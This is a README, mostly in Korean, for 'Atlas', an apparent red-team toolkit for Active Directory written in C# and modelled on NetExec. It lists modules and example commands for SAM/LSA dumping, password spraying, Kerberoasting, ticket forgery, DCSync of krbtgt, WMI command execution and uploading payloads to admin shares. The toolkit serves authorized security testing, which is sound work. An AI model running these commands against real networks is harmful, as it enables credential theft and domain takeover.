
크로스 플랫폼 네트워크 실행 툴킷(SMB/Kerberos/WMI/LDAP/DCSync)으로, TrustedSec의 Titanis를 기반으로 구축되었으며 C#으로 NetExec 스타일 워크플로를 제공합니다.
Atlas는 TrustedSec의 Titanis 프로토콜 라이브러리 위에 구축된 크로스 플랫폼(Windows/Linux) 네트워크 실행 및 보안 평가 툴킷입니다. NetExec/CrackMapExec의 워크플로우에서 영감을 받았으며, 대상 목록, 자격 증명 세트, 모듈식 열거, 그리고 간결한 [HH:mm:ss] [+] host - message 콘솔 출력을 제공합니다.
이 도구는 승인된 보안 테스트를 위해 만들어졌습니다. 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.
| 프로토콜 | 기능 |
|---|---|
smb | 인증 확인(NTLM/Kerberos/익명), SRVS/SAMR을 통한 공유, 사용자, 그룹, 디스크, 세션; Remote Registry를 통한 SAM/LSA; SMB2/3를 통한 파일 작업; --pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt; 스냅샷/스트림/열린 파일/NIC; 그룹 구성원, LSA SID/이름 조회, 레지스트리 쿼리, 서비스, 로그온한 사용자, 작업 목록/종료, EFS 강제 실행; wmiexec / smbexec / mmcexec(MMC DCOM)을 통한 실행 |
kerberos | 사용자 열거, 사전 인증/AS-REP 탐지, Kerberoasting, Key List 공격, 티켓 위조(골든/실버), TGT 요청, 비밀번호 변경, S4U2Self/Proxy(-S4UserName) |
wmi | DCOM/WMI를 통한 인증, Win32_Process.Create(-x/-X) 또는 --wmi-query(WQL), 네임스페이스 목록, StdRegProv 레지스트리, DCOM 메서드 호출, EPM 엔드포인트 목록 |
ldap | SASL/단순 바인드를 통한 인증, 쿼리 + 플래그(--users/--trusted-for-delegation/--pass-pol/--get-sid 등), --kerberoasting, 쓰기 작업(-AddUser/-AddComputer/-Delete/-Modify/-SetPassword), 모듈, --bloodhound(-c)를 통한 BloodHound CE JSON+zip |
dcsync | MS-DRSR을 통한 복제: 단일 객체, 전체 --ntds NC 동기화, 토폴로지(-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName) |
플래그 스타일은 가능한 한 NetExec을 따릅니다(
--shares,--users,--pass-pol,--rid-brute,--local-groups,-d도메인,-H해시,--kdcHost,-M/-o/-L모듈). 단일 대시 Titanis 표기(-Shares,-ud,-NtlmHash)도 계속 작동합니다. 참고:-x/-X는 (대소문자 구분 없이) 공존할 수 없으므로 PowerShell 실행은-ps입니다.-d는kerberos를 포함한 모든 곳에서 도메인입니다(영역은 이 값으로 대체됩니다).
atlas <proto> -L로 목록 표시)| 모듈 | 프로토콜 | 설명 |
|---|---|---|
spider | smb | 재귀적 공유 크롤러 (depth, maxfiles, match) |
shareaccess | smb | 공유별 READ/WRITE 접근 확인 |
localadmins | smb | SAMR을 통한 로컬 관리자 |
gpp_password | smb | Groups.xml 등에서 cpassword 복호화 |
gpp_autologin | smb | Registry.xml 자동 로그온 자격 증명 |
gpp_privileges | smb | GptTmpl.inf 권한 할당 |
uac / wdigest / runasppl / install_elevated | smb | winreg를 통한 레지스트리 검사 |
spooler | smb | SCM을 통한 Print Spooler 상태 |
keepass / rclone / winscp / mremoteng / vnc 등 | smb | 공유에서 파일 탐색 |
ntlmv1 / reg-winlogon / hyperv-host | smb | LmCompatibilityLevel, Winlogon 자동 로그온, Hyper-V 호스트 |
remote-uac / rdp / shadowrdp | smb | 원격 UAC, RDP, RDP 섀도잉 읽기/쓰기 (ACTION=...) |
reg-query | smb | 레지스트리 값 조회/설정/삭제 (PATH=..., KEY=..., VALUE=..., TYPE=..., DELETE=True) |
enum_cve | smb | 빌드 + UBR 기반 패치 수준 CVE 검사 |
enum_av | smb | LSA 서비스 이름 + IPC$ 파이프를 통한 AV/EDR |
enum_dns / get_netconnections / bitlocker | smb | WMI를 통한 (root\MicrosoftDNS, NIC 구성, BitLocker) |
putty / notepad / recent_files / recyclebin / snipped | smb | PuTTY 세션 + .ppk, Notepad 탭 상태, 최근 LNK, 휴지통, 스크린샷 |
lockscreendoors | smb | FileDescription을 통한 백도어된 접근성 바이너리 |
drop-sc / drop-library-ms / scuffy / slinky | smb | 강제 인증 유인 드롭 + CLEANUP=True |
webdav / smbghost / onelogon / sccm-recon6 | smb | WebClient 확인, SMBGhost 프로브, VulnerableChannelAllowList, SCCM 정찰 |
wcc | smb | Windows 보안 상태 체크리스트 (UAC/LSA/RDP/Defender/LAPS/NetBIOS/...) |
change-password | smb | SAMR을 통한 셀프 서비스 비밀번호 변경 (USER=..., OLDPASS=..., NEWPASS=...) |
maq | ldap | ms-DS-MachineAccountQuota |
pre2k | ldap | Pre-Windows 2000 컴퓨터 (UAC 4128) |
laps | ldap | LAPS 비밀번호 |
adcs | ldap | AD CS 등록 서비스 |
subnets | ldap | Configuration NC의 사이트/서브넷 |
daclread / badsuccessor / certipy-find 등 | ldap | Titanis를 통한 LDAP 열거 |
get-unixUserPassword / dns-nonsecure | ldap | Unix 비밀번호, 비보안 DNS 영역 |
modify-group / add-computer | ldap | 그룹 멤버십, 컴퓨터 수명 주기 (NAME=..., DELETE=True, ...) |
모든 프로토콜에서 공통:
a.b.c.d-e), 쉼표 목록, @file.kirbi/.ccache 티켓, PKINIT 인증서, S4U, SPN 재정의, SOCKS5저장소는 external/Titanis 아래에 Titanis 소스를 벤더링하며 솔루션의 일부로 빌드합니다.
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
The resulting binary is a framework-dependent .NET application:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
대상 지정은 HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, 쉼표로 구분된 목록 또는 @targets.txt의 모든 조합을 허용합니다.
# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac
# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf
# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec
# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# RFC 4511 simple bind - typical against OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'
| 옵션 | 의미 |
|---|---|
-u, -UserName | 사용자 이름 (user, DOMAIN\user, 또는 user@realm) |
-p, -Password | 비밀번호 |
-d, -ud, -UserDomain | 도메인 (NetExec -d; Kerberos realm 대체값으로도 사용됨) |
-H, --hash, -NtlmHash | NT 해시 (NTLM + Kerberos RC4) |
-AesKey | AES128/AES256 Kerberos 키 |
-Kdc, --kdcHost | Kerberos용 KDC 엔드포인트 |
-S4UserName | S4U를 통해 가장할 사용자 (Kerberos; -Kdc 필요, 함께 사용: -Spn/-GenerateSt/-Self) |
-Tgt / -TicketCache / -Tickets | .kirbi / .ccache 티켓 입력 |
-Keytab | keytab 파일 |
-UserCert (+-UserKey) | PKINIT 인증서 인증 |
-Anonymous | 널 세션 |
-ha | 호스트 주소 재정의 (올바른 SPN을 위해 대상 위치에 FQDN + 여기에 IP 사용) |